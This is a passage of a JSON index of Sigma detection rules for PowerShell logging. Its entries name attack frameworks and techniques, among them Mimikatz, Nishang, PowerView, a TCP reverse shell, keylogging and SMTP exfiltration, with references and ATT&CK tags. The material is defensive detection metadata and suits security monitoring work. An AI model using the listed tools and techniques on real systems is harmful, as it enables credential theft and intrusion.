PrintNightmare exploitation.", - "uuid": "6d3f1399-a81c-4409-aff3-1ecfe9330baf", - "value": "PrintNightmare Powershell Exploitation", - "meta": { - "refs": [ - "https://github.com/calebstewart/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2021/08/09", - "filename": "posh_ps_invoke_nightmare.yml", - "author": "Max Altgelt, Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation CLIP+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "posh_ps_invoke_obfuscation_clip.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", - "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation", - "meta": { - "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/11/08", - "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "posh_ps_invoke_obfuscation_stdin.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation VAR+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "posh_ps_invoke_obfuscation_var.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "posh_ps_invoke_obfuscation_via_compress.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", - "value": "Invoke-Obfuscation Via Stdin", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/12", - "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", - "value": "Invoke-Obfuscation Via Use Clip", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", - "value": "Invoke-Obfuscation Via Use MSHTA", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/08", - "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", - "value": "Invoke-Obfuscation Via Use Rundll32", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/08", - "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "posh_ps_invoke_obfuscation_via_var.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", - "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", - "value": "Powershell Keylogging", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" - ], - "tags": [ - "attack.collection", - "attack.t1056.001" - ], - "creation_date": "2021/07/30", - "filename": "posh_ps_keylogging.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", - "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", - "value": "Powershell LocalAccount Manipulation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_localuser.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", - "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", - "value": "Suspicious PowerShell Mailbox Export to Share - PS", - "meta": { - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" - ], - "tags": [ - "attack.exfiltration" - ], - "creation_date": "2022/10/26", - "filename": "posh_ps_mailboxexport_share.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", - "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", - "value": "Malicious PowerShell Commandlets", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_ps_malicious_commandlets.yml", - "author": "Sean Metcalf (source), Florian Roth (rule), Bartlomiej Czyz @bczyz1 (update), oscd.community (update), Nasreddine Bencherchali (update), Tim Shelton (fp), Mustafa Kaan Demir (update)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects keywords from well-known PowerShell exploitation frameworks", - "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", - "value": "Malicious PowerShell Keywords", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_ps_malicious_keywords.yml", - "author": "Sean Metcalf (source), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", - "uuid": "cd185561-4760-45d6-a63e-a51325112cae", - "value": "Live Memory Dump Using Powershell", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" - ], - "tags": [ - "attack.t1003" - ], - "creation_date": "2021/09/21", - "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Diagnostics" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", - "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", - "value": "Modify Group Policy Settings - ScriptBlockLogging", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484.001" - ], - "creation_date": "2022/08/19", - "filename": "posh_ps_modify_group_policy_settings.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", - "uuid": "78aa1347-1517-4454-9982-b338d6df8343", - "value": "Powershell MsXml COM Object", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", - "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", - "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/01/19", - "filename": "posh_ps_msxml_com.yml", - "author": "frack113, MatilJ", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", - "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", - "value": "Malicious Nishang PowerShell Commandlets", - "meta": { - "refs": [ - "https://github.com/samratashok/nishang", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/05/16", - "filename": "posh_ps_nishang_malicious_commandlets.yml", - "author": "Alec Costello", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", - "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", - "value": "NTFS Alternate Data Stream", - "meta": { - "refs": [ - "http://www.powertheshell.com/ntfsstreams/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2018/07/24", - "filename": "posh_ps_ntfs_ads_access.yml", - "author": "Sami Ruohonen", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", - "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", - "value": "Code Executed Via Office Add-in XLL File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137.006" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_office_comobject_registerxll.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", - "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", - "value": "Potential Invoke-Mimikatz PowerShell Script", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/09/28", - "filename": "posh_ps_potential_invoke_mimikatz.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Mimikatz can be useful for testing the security of networks" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", - "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", - "value": "Malicious PowerView PowerShell Commandlets", - "meta": { - "refs": [ - "https://powersploit.readthedocs.io/en/stable/Recon/README", - "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", - "https://thedfirreport.com/2020/10/08/ryuks-return", - "https://adsecurity.org/?p=2277", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/05/18", - "filename": "posh_ps_powerview_malicious_commandlets.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Should not be any as administrators do not use this tool" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell calling a credential prompt", - "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", - "value": "PowerShell Credential Prompt", - "meta": { - "refs": [ - "https://twitter.com/JohnLaTwC/status/850381440629981184", - "https://t.co/ezOTGy1a1G", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/04/09", - "filename": "posh_ps_prompt_credentials.yml", - "author": "John Lambert (idea), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", - "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", - "value": "PSAsyncShell - Asynchronous TCP Reverse Shell", - "meta": { - "refs": [ - "https://github.com/JoelGMSec/PSAsyncShell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/10/04", - "filename": "posh_ps_psasyncshell.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of PSAttack PowerShell hack tool", - "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", - "value": "PowerShell PSAttack", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_ps_psattack.yml", - "author": "Sean Metcalf (source), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", - "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", - "value": "PowerShell Remote Session Creation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/01/06", - "filename": "posh_ps_remote_session_creation.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", - "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", - "value": "Use Remove-Item to Delete File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2022/01/15", - "filename": "posh_ps_remove_item_path.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", - "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", - "value": "Request A Single Ticket via PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2021/12/28", - "filename": "posh_ps_request_kerberos_ticket.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "uuid": "42821614-9264-4761-acfc-5772c3286f76", - "value": "Root Certificate Installed", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ], - "creation_date": "2020/10/10", - "filename": "posh_ps_root_certificate_installed.yml", - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "level": "medium", - "falsepositive": [ - "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", - "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", - "value": "Suspicious Invoke-Item From Mount-DiskImage", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", - "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ], - "creation_date": "2022/02/01", - "filename": "posh_ps_run_from_mount_diskimage.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", - "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c", - "value": "Security Software Discovery by Powershell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ], - "creation_date": "2021/12/16", - "filename": "posh_ps_security_software_discovery.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", - "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", - "value": "Powershell Exfiltration Over SMTP", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", - "https://www.ietf.org/rfc/rfc2821.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2022/09/26", - "filename": "posh_ps_send_mailmessage.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detect adversaries enumerate sensitive files", - "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", - "value": "Powershell Sensitive File Discovery", - "meta": { - "refs": [ - "https://twitter.com/malmoeb/status/1570814999370801158", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2022/09/16", - "filename": "posh_ps_sensitive_file_discovery.yml", - "author": "frack113", - "level": 